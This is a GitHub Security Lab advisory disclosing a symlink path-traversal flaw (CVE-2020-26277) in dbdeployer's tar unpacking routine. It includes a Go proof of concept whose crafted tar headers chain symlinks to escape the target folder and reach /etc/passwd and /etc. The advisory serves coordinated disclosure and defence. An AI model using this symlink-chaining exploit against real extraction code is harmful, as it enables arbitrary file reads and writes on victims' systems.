skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
January 12, 2021

GHSL-2020-256: Unsafe handling of symbolic links in dbdeployer unpacking routine - CVE-2020-26277

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.

Product

dbdeployer

Tested Version

Latest commit at the time of reporting (November 27, 2020).

Details

The routine unpackTarFiles attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball’s parent directory, contrary to the routine’s goals.

Proof of concept, using a version of unpackTarFiles tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (
  "archive/tar"
  "fmt"
  "os"
  "path"
  "regexp"
  "strings"
)

func main() {
  var headers []tar.Header = make([]tar.Header, 3)

  headers[0].Name = "subdir/parent"
  headers[0].Linkname = ".."
  headers[0].Typeflag = tar.TypeSymlink

  headers[1].Name = "subdir/parent/passwd"
  headers[1].Linkname = "../../etc/passwd"
  headers[1].Typeflag = tar.TypeSymlink

  headers[2].Name = "subdir/parent/etc"
  headers[2].Linkname = "../../etc"
  headers[2].Typeflag = tar.TypeSymlink

  var err = os.Chdir("/tmp/extracthere")
  if err != nil {
    fmt.Println("error changing directory")
    return
  }
  unpackTarFiles(headers)
}


func unpackTarFiles(headers []tar.Header) (err error) {
  var reSlash = regexp.MustCompile(`/.*`)

  innerDir := ""
  for _, header := range headers {
    filename := sanitizedName(header.Name)
    fileDir := path.Dir(filename)
    upperDir := reSlash.ReplaceAllString(fileDir, "")
    if innerDir != "" {
      if upperDir != innerDir {
        return fmt.Errorf("found more than one directory inside the tarball\n"+
          "<%s> and <%s>", upperDir, innerDir)
      }
    } else {
      innerDir = upperDir
    }

    if _, err = os.Stat(fileDir); os.IsNotExist(err) {
      if err = os.MkdirAll(fileDir, 0755); err != nil {
        return err
      }
      fmt.Println(" + "+fileDir+" ")
    }
    if header.Typeflag == 0 {
      header.Typeflag = tar.TypeReg
    }
    switch header.Typeflag {
    case tar.TypeDir:
      if err = os.MkdirAll(filename, 0755); err != nil {
        return err
      }
    case tar.TypeSymlink:
      if header.Linkname != "" {
        fmt.Println(fmt.Sprintf("%s -> %s", filename, header.Linkname))
        err = os.Symlink(header.Linkname, filename)
        if err != nil {
          return fmt.Errorf("%#v\n#ERROR: %s", header, err)
        }
      } else {
        return fmt.Errorf("file %s is a symlink, but no link information was provided", filename)
      }
    }
  }
  return nil
}

func sanitizedName(filename string) string {
  if len(filename) > 1 && filename[1] == ':' {
    filename = filename[2:]
  }
  filename = strings.TrimLeft(filename, "\\/.")
  filename = strings.Replace(filename, "../", "", -1)
  return strings.Replace(filename, "..\\", "", -1)
}

Impact

This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.

CVE

Resources

Credit

This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-256 in any communication regarding this issue.